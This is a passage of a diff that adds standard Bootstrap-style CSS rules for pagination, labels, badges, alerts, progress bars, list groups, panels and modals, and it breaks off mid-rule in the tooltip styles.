+.pagination-lg > li:last-child > a, +.pagination-lg > li:last-child > span { + border-top-right-radius: 6px; + border-bottom-right-radius: 6px; +} +.pagination-sm > li > a, +.pagination-sm > li > span { + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; +} +.pagination-sm > li:first-child > a, +.pagination-sm > li:first-child > span { + border-top-left-radius: 3px; + border-bottom-left-radius: 3px; +} +.pagination-sm > li:last-child > a, +.pagination-sm > li:last-child > span { + border-top-right-radius: 3px; + border-bottom-right-radius: 3px; +} +.pager { + padding-left: 0; + margin: 20px 0; + text-align: center; + list-style: none; +} +.pager li { + display: inline; +} +.pager li > a, +.pager li > span { + display: inline-block; + padding: 5px 14px; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 15px; +} +.pager li > a:hover, +.pager li > a:focus { + text-decoration: none; + background-color: #eee; +} +.pager .next > a, +.pager .next > span { + float: right; +} +.pager .previous > a, +.pager .previous > span { + float: left; +} +.pager .disabled > a, +.pager .disabled > a:hover, +.pager .disabled > a:focus, +.pager .disabled > span { + color: #777; + cursor: not-allowed; + background-color: #fff; +} +.label { + display: inline; + padding: .2em .6em .3em; + font-size: 75%; + font-weight: bold; + line-height: 1; + color: #fff; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: .25em; +} +a.label:hover, +a.label:focus { + color: #fff; + text-decoration: none; + cursor: pointer; +} +.label:empty { + display: none; +} +.btn .label { + position: relative; + top: -1px; +} +.label-default { + background-color: #777; +} +.label-default[href]:hover, +.label-default[href]:focus { + background-color: #5e5e5e; +} +.label-primary { + background-color: #337ab7; +} +.label-primary[href]:hover, +.label-primary[href]:focus { + background-color: #286090; +} +.label-success { + background-color: #5cb85c; +} +.label-success[href]:hover, +.label-success[href]:focus { + background-color: #449d44; +} +.label-info { + background-color: #5bc0de; +} +.label-info[href]:hover, +.label-info[href]:focus { + background-color: #31b0d5; +} +.label-warning { + background-color: #f0ad4e; +} +.label-warning[href]:hover, +.label-warning[href]:focus { + background-color: #ec971f; +} +.label-danger { + background-color: #d9534f; +} +.label-danger[href]:hover, +.label-danger[href]:focus { + background-color: #c9302c; +} +.badge { + display: inline-block; + min-width: 10px; + padding: 3px 7px; + font-size: 12px; + font-weight: bold; + line-height: 1; + color: #fff; + text-align: center; + white-space: nowrap; + vertical-align: middle; + background-color: #777; + border-radius: 10px; +} +.badge:empty { + display: none; +} +.btn .badge { + position: relative; + top: -1px; +} +.btn-xs .badge, +.btn-group-xs > .btn .badge { + top: 0; + padding: 1px 5px; +} +a.badge:hover, +a.badge:focus { + color: #fff; + text-decoration: none; + cursor: pointer; +} +.list-group-item.active > .badge, +.nav-pills > .active > a > .badge { + color: #337ab7; + background-color: #fff; +} +.list-group-item > .badge { + float: right; +} +.list-group-item > .badge + .badge { + margin-right: 5px; +} +.nav-pills > li > a > .badge { + margin-left: 3px; +} +.jumbotron { + padding-top: 30px; + padding-bottom: 30px; + margin-bottom: 30px; + color: inherit; + background-color: #eee; +} +.jumbotron h1, +.jumbotron .h1 { + color: inherit; +} +.jumbotron p { + margin-bottom: 15px; + font-size: 21px; + font-weight: 200; +} +.jumbotron > hr { + border-top-color: #d5d5d5; +} +.container .jumbotron, +.container-fluid .jumbotron { + padding-right: 15px; + padding-left: 15px; + border-radius: 6px; +} +.jumbotron .container { + max-width: 100%; +} +@media screen and (min-width: 768px) { + .jumbotron { + padding-top: 48px; + padding-bottom: 48px; + } + .container .jumbotron, + .container-fluid .jumbotron { + padding-right: 60px; + padding-left: 60px; + } + .jumbotron h1, + .jumbotron .h1 { + font-size: 63px; + } +} +.thumbnail { + display: block; + padding: 4px; + margin-bottom: 20px; + line-height: 1.42857143; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 4px; + -webkit-transition: border .2s ease-in-out; + -o-transition: border .2s ease-in-out; + transition: border .2s ease-in-out; +} +.thumbnail > img, +.thumbnail a > img { + margin-right: auto; + margin-left: auto; +} +a.thumbnail:hover, +a.thumbnail:focus, +a.thumbnail.active { + border-color: #337ab7; +} +.thumbnail .caption { + padding: 9px; + color: #333; +} +.alert { + padding: 15px; + margin-bottom: 20px; + border: 1px solid transparent; + border-radius: 4px; +} +.alert h4 { + margin-top: 0; + color: inherit; +} +.alert .alert-link { + font-weight: bold; +} +.alert > p, +.alert > ul { + margin-bottom: 0; +} +.alert > p + p { + margin-top: 5px; +} +.alert-dismissable, +.alert-dismissible { + padding-right: 35px; +} +.alert-dismissable .close, +.alert-dismissible .close { + position: relative; + top: -2px; + right: -21px; + color: inherit; +} +.alert-success { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; +} +.alert-success hr { + border-top-color: #c9e2b3; +} +.alert-success .alert-link { + color: #2b542c; +} +.alert-info { + color: #31708f; + background-color: #d9edf7; + border-color: #bce8f1; +} +.alert-info hr { + border-top-color: #a6e1ec; +} +.alert-info .alert-link { + color: #245269; +} +.alert-warning { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #faebcc; +} +.alert-warning hr { + border-top-color: #f7e1b5; +} +.alert-warning .alert-link { + color: #66512c; +} +.alert-danger { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; +} +.alert-danger hr { + border-top-color: #e4b9c0; +} +.alert-danger .alert-link { + color: #843534; +} +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@-o-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +.progress { + height: 20px; + margin-bottom: 20px; + overflow: hidden; + background-color: #f5f5f5; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); +} +.progress-bar { + float: left; + width: 0; + height: 100%; + font-size: 12px; + line-height: 20px; + color: #fff; + text-align: center; + background-color: #337ab7; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); + -webkit-transition: width .6s ease; + -o-transition: width .6s ease; + transition: width .6s ease; +} +.progress-striped .progress-bar, +.progress-bar-striped { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + -webkit-background-size: 40px 40px; + background-size: 40px 40px; +} +.progress.active .progress-bar, +.progress-bar.active { + -webkit-animation: progress-bar-stripes 2s linear infinite; + -o-animation: progress-bar-stripes 2s linear infinite; + animation: progress-bar-stripes 2s linear infinite; +} +.progress-bar-success { + background-color: #5cb85c; +} +.progress-striped .progress-bar-success { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-info { + background-color: #5bc0de; +} +.progress-striped .progress-bar-info { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-warning { + background-color: #f0ad4e; +} +.progress-striped .progress-bar-warning { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-danger { + background-color: #d9534f; +} +.progress-striped .progress-bar-danger { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.media { + margin-top: 15px; +} +.media:first-child { + margin-top: 0; +} +.media, +.media-body { + overflow: hidden; + zoom: 1; +} +.media-body { + width: 10000px; +} +.media-object { + display: block; +} +.media-object.img-thumbnail { + max-width: none; +} +.media-right, +.media > .pull-right { + padding-left: 10px; +} +.media-left, +.media > .pull-left { + padding-right: 10px; +} +.media-left, +.media-right, +.media-body { + display: table-cell; + vertical-align: top; +} +.media-middle { + vertical-align: middle; +} +.media-bottom { + vertical-align: bottom; +} +.media-heading { + margin-top: 0; + margin-bottom: 5px; +} +.media-list { + padding-left: 0; + list-style: none; +} +.list-group { + padding-left: 0; + margin-bottom: 20px; +} +.list-group-item { + position: relative; + display: block; + padding: 10px 15px; + margin-bottom: -1px; + background-color: #fff; + border: 1px solid #ddd; +} +.list-group-item:first-child { + border-top-left-radius: 4px; + border-top-right-radius: 4px; +} +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: 4px; + border-bottom-left-radius: 4px; +} +a.list-group-item, +button.list-group-item { + color: #555; +} +a.list-group-item .list-group-item-heading, +button.list-group-item .list-group-item-heading { + color: #333; +} +a.list-group-item:hover, +button.list-group-item:hover, +a.list-group-item:focus, +button.list-group-item:focus { + color: #555; + text-decoration: none; + background-color: #f5f5f5; +} +button.list-group-item { + width: 100%; + text-align: left; +} +.list-group-item.disabled, +.list-group-item.disabled:hover, +.list-group-item.disabled:focus { + color: #777; + cursor: not-allowed; + background-color: #eee; +} +.list-group-item.disabled .list-group-item-heading, +.list-group-item.disabled:hover .list-group-item-heading, +.list-group-item.disabled:focus .list-group-item-heading { + color: inherit; +} +.list-group-item.disabled .list-group-item-text, +.list-group-item.disabled:hover .list-group-item-text, +.list-group-item.disabled:focus .list-group-item-text { + color: #777; +} +.list-group-item.active, +.list-group-item.active:hover, +.list-group-item.active:focus { + z-index: 2; + color: #fff; + background-color: #337ab7; + border-color: #337ab7; +} +.list-group-item.active .list-group-item-heading, +.list-group-item.active:hover .list-group-item-heading, +.list-group-item.active:focus .list-group-item-heading, +.list-group-item.active .list-group-item-heading > small, +.list-group-item.active:hover .list-group-item-heading > small, +.list-group-item.active:focus .list-group-item-heading > small, +.list-group-item.active .list-group-item-heading > .small, +.list-group-item.active:hover .list-group-item-heading > .small, +.list-group-item.active:focus .list-group-item-heading > .small { + color: inherit; +} +.list-group-item.active .list-group-item-text, +.list-group-item.active:hover .list-group-item-text, +.list-group-item.active:focus .list-group-item-text { + color: #c7ddef; +} +.list-group-item-success { + color: #3c763d; + background-color: #dff0d8; +} +a.list-group-item-success, +button.list-group-item-success { + color: #3c763d; +} +a.list-group-item-success .list-group-item-heading, +button.list-group-item-success .list-group-item-heading { + color: inherit; +} +a.list-group-item-success:hover, +button.list-group-item-success:hover, +a.list-group-item-success:focus, +button.list-group-item-success:focus { + color: #3c763d; + background-color: #d0e9c6; +} +a.list-group-item-success.active, +button.list-group-item-success.active, +a.list-group-item-success.active:hover, +button.list-group-item-success.active:hover, +a.list-group-item-success.active:focus, +button.list-group-item-success.active:focus { + color: #fff; + background-color: #3c763d; + border-color: #3c763d; +} +.list-group-item-info { + color: #31708f; + background-color: #d9edf7; +} +a.list-group-item-info, +button.list-group-item-info { + color: #31708f; +} +a.list-group-item-info .list-group-item-heading, +button.list-group-item-info .list-group-item-heading { + color: inherit; +} +a.list-group-item-info:hover, +button.list-group-item-info:hover, +a.list-group-item-info:focus, +button.list-group-item-info:focus { + color: #31708f; + background-color: #c4e3f3; +} +a.list-group-item-info.active, +button.list-group-item-info.active, +a.list-group-item-info.active:hover, +button.list-group-item-info.active:hover, +a.list-group-item-info.active:focus, +button.list-group-item-info.active:focus { + color: #fff; + background-color: #31708f; + border-color: #31708f; +} +.list-group-item-warning { + color: #8a6d3b; + background-color: #fcf8e3; +} +a.list-group-item-warning, +button.list-group-item-warning { + color: #8a6d3b; +} +a.list-group-item-warning .list-group-item-heading, +button.list-group-item-warning .list-group-item-heading { + color: inherit; +} +a.list-group-item-warning:hover, +button.list-group-item-warning:hover, +a.list-group-item-warning:focus, +button.list-group-item-warning:focus { + color: #8a6d3b; + background-color: #faf2cc; +} +a.list-group-item-warning.active, +button.list-group-item-warning.active, +a.list-group-item-warning.active:hover, +button.list-group-item-warning.active:hover, +a.list-group-item-warning.active:focus, +button.list-group-item-warning.active:focus { + color: #fff; + background-color: #8a6d3b; + border-color: #8a6d3b; +} +.list-group-item-danger { + color: #a94442; + background-color: #f2dede; +} +a.list-group-item-danger, +button.list-group-item-danger { + color: #a94442; +} +a.list-group-item-danger .list-group-item-heading, +button.list-group-item-danger .list-group-item-heading { + color: inherit; +} +a.list-group-item-danger:hover, +button.list-group-item-danger:hover, +a.list-group-item-danger:focus, +button.list-group-item-danger:focus { + color: #a94442; + background-color: #ebcccc; +} +a.list-group-item-danger.active, +button.list-group-item-danger.active, +a.list-group-item-danger.active:hover, +button.list-group-item-danger.active:hover, +a.list-group-item-danger.active:focus, +button.list-group-item-danger.active:focus { + color: #fff; + background-color: #a94442; + border-color: #a94442; +} +.list-group-item-heading { + margin-top: 0; + margin-bottom: 5px; +} +.list-group-item-text { + margin-bottom: 0; + line-height: 1.3; +} +.panel { + margin-bottom: 20px; + background-color: #fff; + border: 1px solid transparent; + border-radius: 4px; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05); + box-shadow: 0 1px 1px rgba(0, 0, 0, .05); +} +.panel-body { + padding: 15px; +} +.panel-heading { + padding: 10px 15px; + border-bottom: 1px solid transparent; + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel-heading > .dropdown .dropdown-toggle { + color: inherit; +} +.panel-title { + margin-top: 0; + margin-bottom: 0; + font-size: 16px; + color: inherit; +} +.panel-title > a, +.panel-title > small, +.panel-title > .small, +.panel-title > small > a, +.panel-title > .small > a { + color: inherit; +} +.panel-footer { + padding: 10px 15px; + background-color: #f5f5f5; + border-top: 1px solid #ddd; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .list-group, +.panel > .panel-collapse > .list-group { + margin-bottom: 0; +} +.panel > .list-group .list-group-item, +.panel > .panel-collapse > .list-group .list-group-item { + border-width: 1px 0; + border-radius: 0; +} +.panel > .list-group:first-child .list-group-item:first-child, +.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { + border-top: 0; + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .list-group:last-child .list-group-item:last-child, +.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { + border-bottom: 0; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child { + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.panel-heading + .list-group .list-group-item:first-child { + border-top-width: 0; +} +.list-group + .panel-footer { + border-top-width: 0; +} +.panel > .table, +.panel > .table-responsive > .table, +.panel > .panel-collapse > .table { + margin-bottom: 0; +} +.panel > .table caption, +.panel > .table-responsive > .table caption, +.panel > .panel-collapse > .table caption { + padding-right: 15px; + padding-left: 15px; +} +.panel > .table:first-child, +.panel > .table-responsive:first-child > .table:first-child { + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child { + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { + border-top-left-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { + border-top-right-radius: 3px; +} +.panel > .table:last-child, +.panel > .table-responsive:last-child > .table:last-child { + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { + border-bottom-right-radius: 3px; +} +.panel > .panel-body + .table, +.panel > .panel-body + .table-responsive, +.panel > .table + .panel-body, +.panel > .table-responsive + .panel-body { + border-top: 1px solid #ddd; +} +.panel > .table > tbody:first-child > tr:first-child th, +.panel > .table > tbody:first-child > tr:first-child td { + border-top: 0; +} +.panel > .table-bordered, +.panel > .table-responsive > .table-bordered { + border: 0; +} +.panel > .table-bordered > thead > tr > th:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:first-child, +.panel > .table-bordered > tbody > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, +.panel > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-bordered > thead > tr > td:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:first-child, +.panel > .table-bordered > tbody > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, +.panel > .table-bordered > tfoot > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; +} +.panel > .table-bordered > thead > tr > th:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:last-child, +.panel > .table-bordered > tbody > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, +.panel > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-bordered > thead > tr > td:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:last-child, +.panel > .table-bordered > tbody > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, +.panel > .table-bordered > tfoot > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; +} +.panel > .table-bordered > thead > tr:first-child > td, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > td, +.panel > .table-bordered > tbody > tr:first-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, +.panel > .table-bordered > thead > tr:first-child > th, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > th, +.panel > .table-bordered > tbody > tr:first-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { + border-bottom: 0; +} +.panel > .table-bordered > tbody > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, +.panel > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-bordered > tbody > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, +.panel > .table-bordered > tfoot > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { + border-bottom: 0; +} +.panel > .table-responsive { + margin-bottom: 0; + border: 0; +} +.panel-group { + margin-bottom: 20px; +} +.panel-group .panel { + margin-bottom: 0; + border-radius: 4px; +} +.panel-group .panel + .panel { + margin-top: 5px; +} +.panel-group .panel-heading { + border-bottom: 0; +} +.panel-group .panel-heading + .panel-collapse > .panel-body, +.panel-group .panel-heading + .panel-collapse > .list-group { + border-top: 1px solid #ddd; +} +.panel-group .panel-footer { + border-top: 0; +} +.panel-group .panel-footer + .panel-collapse .panel-body { + border-bottom: 1px solid #ddd; +} +.panel-default { + border-color: #ddd; +} +.panel-default > .panel-heading { + color: #333; + background-color: #f5f5f5; + border-color: #ddd; +} +.panel-default > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ddd; +} +.panel-default > .panel-heading .badge { + color: #f5f5f5; + background-color: #333; +} +.panel-default > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ddd; +} +.panel-primary { + border-color: #337ab7; +} +.panel-primary > .panel-heading { + color: #fff; + background-color: #337ab7; + border-color: #337ab7; +} +.panel-primary > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #337ab7; +} +.panel-primary > .panel-heading .badge { + color: #337ab7; + background-color: #fff; +} +.panel-primary > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #337ab7; +} +.panel-success { + border-color: #d6e9c6; +} +.panel-success > .panel-heading { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; +} +.panel-success > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #d6e9c6; +} +.panel-success > .panel-heading .badge { + color: #dff0d8; + background-color: #3c763d; +} +.panel-success > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #d6e9c6; +} +.panel-info { + border-color: #bce8f1; +} +.panel-info > .panel-heading { + color: #31708f; + background-color: #d9edf7; + border-color: #bce8f1; +} +.panel-info > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #bce8f1; +} +.panel-info > .panel-heading .badge { + color: #d9edf7; + background-color: #31708f; +} +.panel-info > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #bce8f1; +} +.panel-warning { + border-color: #faebcc; +} +.panel-warning > .panel-heading { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #faebcc; +} +.panel-warning > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #faebcc; +} +.panel-warning > .panel-heading .badge { + color: #fcf8e3; + background-color: #8a6d3b; +} +.panel-warning > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #faebcc; +} +.panel-danger { + border-color: #ebccd1; +} +.panel-danger > .panel-heading { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; +} +.panel-danger > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ebccd1; +} +.panel-danger > .panel-heading .badge { + color: #f2dede; + background-color: #a94442; +} +.panel-danger > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ebccd1; +} +.embed-responsive { + position: relative; + display: block; + height: 0; + padding: 0; + overflow: hidden; +} +.embed-responsive .embed-responsive-item, +.embed-responsive iframe, +.embed-responsive embed, +.embed-responsive object, +.embed-responsive video { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + border: 0; +} +.embed-responsive-16by9 { + padding-bottom: 56.25%; +} +.embed-responsive-4by3 { + padding-bottom: 75%; +} +.well { + min-height: 20px; + padding: 19px; + margin-bottom: 20px; + background-color: #f5f5f5; + border: 1px solid #e3e3e3; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); +} +.well blockquote { + border-color: #ddd; + border-color: rgba(0, 0, 0, .15); +} +.well-lg { + padding: 24px; + border-radius: 6px; +} +.well-sm { + padding: 9px; + border-radius: 3px; +} +.close { + float: right; + font-size: 21px; + font-weight: bold; + line-height: 1; + color: #000; + text-shadow: 0 1px 0 #fff; + filter: alpha(opacity=20); + opacity: .2; +} +.close:hover, +.close:focus { + color: #000; + text-decoration: none; + cursor: pointer; + filter: alpha(opacity=50); + opacity: .5; +} +button.close { + -webkit-appearance: none; + padding: 0; + cursor: pointer; + background: transparent; + border: 0; +} +.modal-open { + overflow: hidden; +} +.modal { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1050; + display: none; + overflow: hidden; + -webkit-overflow-scrolling: touch; + outline: 0; +} +.modal.fade .modal-dialog { + -webkit-transition: -webkit-transform .3s ease-out; + -o-transition: -o-transform .3s ease-out; + transition: transform .3s ease-out; + -webkit-transform: translate(0, -25%); + -ms-transform: translate(0, -25%); + -o-transform: translate(0, -25%); + transform: translate(0, -25%); +} +.modal.in .modal-dialog { + -webkit-transform: translate(0, 0); + -ms-transform: translate(0, 0); + -o-transform: translate(0, 0); + transform: translate(0, 0); +} +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto; +} +.modal-dialog { + position: relative; + width: auto; + margin: 10px; +} +.modal-content { + position: relative; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #999; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: 6px; + outline: 0; + -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5); + box-shadow: 0 3px 9px rgba(0, 0, 0, .5); +} +.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000; +} +.modal-backdrop.fade { + filter: alpha(opacity=0); + opacity: 0; +} +.modal-backdrop.in { + filter: alpha(opacity=50); + opacity: .5; +} +.modal-header { + padding: 15px; + border-bottom: 1px solid #e5e5e5; +} +.modal-header .close { + margin-top: -2px; +} +.modal-title { + margin: 0; + line-height: 1.42857143; +} +.modal-body { + position: relative; + padding: 15px; +} +.modal-footer { + padding: 15px; + text-align: right; + border-top: 1px solid #e5e5e5; +} +.modal-footer .btn + .btn { + margin-bottom: 0; + margin-left: 5px; +} +.modal-footer .btn-group .btn + .btn { + margin-left: -1px; +} +.modal-footer .btn-block + .btn-block { + margin-left: 0; +} +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll; +} +@media (min-width: 768px) { + .modal-dialog { + width: 600px; + margin: 30px auto; + } + .modal-content { + -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5); + box-shadow: 0 5px 15px rgba(0, 0, 0, .5); + } + .modal-sm { + width: 300px; + } +} +@media (min-width: 992px) { + .modal-lg { + width: 900px; + } +} +.tooltip { + position: absolute; + z-index: 1070; + display: block; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 12px; + font-style: normal; + font-weight: normal; + line-height: 1.42857143; + text-align: left; + text-align: start; + text-decoration: none; + 